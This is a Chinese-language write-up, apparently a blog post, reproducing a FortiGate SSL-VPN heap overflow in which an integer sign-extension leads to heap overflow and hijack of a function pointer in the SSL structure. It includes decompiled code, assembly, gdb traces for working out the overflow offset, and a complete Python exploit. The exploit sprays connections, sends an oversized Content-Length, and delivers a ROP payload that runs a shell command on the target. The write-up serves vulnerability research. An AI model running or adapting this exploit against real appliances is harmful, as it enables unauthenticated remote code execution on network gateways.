前言
之前就想复现这个洞,不过因为环境的问题迟迟没有开工。巧在前一阵子有个师傅来找我讨论劫持ssl结构体中函数指针时如何确定堆溢出的偏移,同时还他把搭建好了的环境发给了我,因此才有了此文。
如何劫持SSL结构体指针实现控制程序流
就我个人理解而言,我觉得劫持的这个函数指针类似于我们常见的 __malloc_hook,__free_hook。它本身的值为空,当他不为空时,便会调用这个函数指针。如果我们把这个函数指针劫持为合适的gadget便可以控制程序的执行流。相关代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| __int64 __fastcall debug_2nd_control(__int64 a1, char a2) { ... if ( v9 ) { result = v8 + 96; if ( v9 != v8 + 96 ) { v10 = *(__int64 (__fastcall **)(__int64))(v9 + 192); if ( v10 ) return v10(a1); ... }
.text:000000000180C180 48 8B 82 C0 00 00 00 mov rax, [rdx+0C0h] .text:000000000180C187 4C 89 EF mov rdi, r13 .text:000000000180C18A 48 85 C0 test rax, rax .text:000000000180C18D 0F 84 85 00 00 00 jz loc_180C218 .text:000000000180C193 5B pop rbx .text:000000000180C194 41 5C pop r12 .text:000000000180C196 41 5D pop r13 .text:000000000180C198 41 5E pop r14 .text:000000000180C19A 5D pop rbp .text:000000000180C19B FF E0 jmp rax
|
漏洞点
从下面的汇编中可知,这里分配的大小是由movsxd rsi, esi,直接从4字节扩展为了8字节,如果我们把大小控制为0x1b00000000,这样就会导致分配并初始化的大小为1,从而产生堆溢出。利用手法是,在堆上大量喷射SSL结构体,从而劫持其中对应的函数指针。
1 2 3 4 5 6 7 8 9 10 11 12 13
| 0000000001811174 8B 40 18 mov eax, [rax+18h] ; Keypatch modified this from: 0000000001811174 ; nop word ptr [rax+rax+00000000h] 0000000001811174 ; Keypatch padded NOP to next boundary: 8 bytes 0000000001811177 49 8B 3C 24 mov rdi, [r12] ; Keypatch modified this from: 000000000181117B E9 86 02 00 00 jmp loc_1811406
0000000001811406 8D 70 01 lea esi, [rax+1] ; Keypatch modified this from: 0000000001811409 E9 96 01 00 00 jmp loc_18115A4
00000000018115A4 48 63 F6 movsxd rsi, esi ; Keypatch modified this from: 00000000018115A7 E9 88 FB FF FF jmp loc_1811134
0000000001811134 E8 27 0A EC FF call alloc__
|
如何确定填充数量
网上已经有文章 (https://forum.butian.net/index.php/share/2166) 给出了一个可劫持到函数指针的poc。我们这里就直接用了他这种布局,重点记录一下如何找到这个填充的数量。对于这个固件而言ssl结构体初始化时,我们可以看到如下的代码。很明显可以看到,他会把字符串read_post_data拷贝到距离结构体偏移为 200的地方。而根据上面的代码可知,我们要劫持的函数指针在结构体偏移为192的地方。故我们只需定位到read_post_data,即可确定偏移。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| sub_181BC20(a2, "read_post_data", 0, 1, (__int64)sslvpnd_read_post_data);
char *__fastcall sub_181BC20(__int64 *a1, const char *str, int a3, int a4, __int64 a5) { ... strLen = strlen(str); v8 = alloc__(*a1, strLen + 201); v9 = (__int64)v8; if ( v8 ) { *(_QWORD *)v8 = v8; *((_QWORD *)v8 + 1) = v8; v10 = &v8[32 * a3]; *((_DWORD *)v10 + 6) = a4; *((_DWORD *)v10 + 7) = a4; if ( (a4 & 1) != 0 ) { *(_QWORD *)(32LL * a3 + v9 + 32) = a5; } else if ( (a4 & 4) != 0 ) { *(_QWORD *)(32LL * a3 + v9 + 40) = a5; } strcpy((char *)(v9 + 200), str); ... }
|
调试时内存分布如下,有0x2638-0x1818 = 0xE20 = 3616
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| (gdb) i r $rdi rdi 0x7f6edef01818 140114163406872 (gdb) x/10gx 0x7f6edef01818 0x7f6edef01818: 0x0000000000000000 0x0000000000000000 0x7f6edef01828: 0x0000000000000000 0x0000000000000000 0x7f6edef01838: 0x0000000000000000 0x0000000000000000 0x7f6edef01848: 0x0000000000000000 0x0000000000000000 0x7f6edef01858: 0x0000000000000000 0x0000000000000000 (gdb) x/10gx 0x7f6edef02638 0x7f6edef02638: 0x0000000000000000 0x736f705f64616572 0x7f6edef02648: 0x0000617461645f74 0x0000000000000000 0x7f6edef02658: 0x0000000000000000 0x0000000000000000 0x7f6edef02668: 0x0000000000000000 0x0000000000000000 0x7f6edef02678: 0x0000000000000000 0x0000000000000000 (gdb) x/s 0x7f6edef02640 0x7f6edef02640: "read_post_data"
|
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| import struct import socket import ssl
p64 = lambda x: struct.pack("<Q", x)
path = "/remote/login".encode()
ip = "192.168.229.162" port = 4443
def create_ssl_ctx(): _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) _socket.connect((ip, port)) _default_context = ssl._create_unverified_context() _socket = _default_context.wrap_socket(_socket) return _socket
socks = []
for i in range(60): sk = create_ssl_ctx() data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.229.146\r\nContent-Length: 100\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1" sk.sendall(data) socks.append(sk)
for i in range(20, 40, 2): sk = socks[i] sk.close() socks[i] = None
CL = "115964116992" data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.229.146\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\nf=1"
exp_sk = create_ssl_ctx()
for i in range(20): sk = create_ssl_ctx() socks.append(sk)
exp_sk.sendall(data)
payload = b"b" * (3613-0xc0) payload+= p64(0) payload+= p64(0x19de70a)
payload+= p64(0x100)*3 payload+= p64(0x1855c29)
payload+= p64(0x1fe54ad)
payload+= p64(0x30) payload+= p64(0x18cfb70)
payload+= p64(0x40)*(24-9)
payload+= p64(0x1d3379c)
payload+= p64(0x736f705f64616572) payload+= p64(0x0000617461645f74) cmd = b"busybox ls > /tmp/hack" cmd = cmd.ljust(11*0x8, b'\x00') payload+= cmd payload+= p64(0x43FDF0)
exp_sk.sendall(payload)
for sk in socks: if sk: data = b"b" * 40 sk.sendall(data)
print("done")
|
参考链接
https://forum.butian.net/index.php/share/2166
https://bestwing.me/CVE-2022-42475-FortiGate-SSLVPN-HeapOverflow.html
https://wzt.ac.cn/2022/12/15/CVE-2022-42475/
https://devco.re/blog/2019/08/09/attacking-ssl-vpn-part-2-breaking-the-Fortigate-ssl-vpn/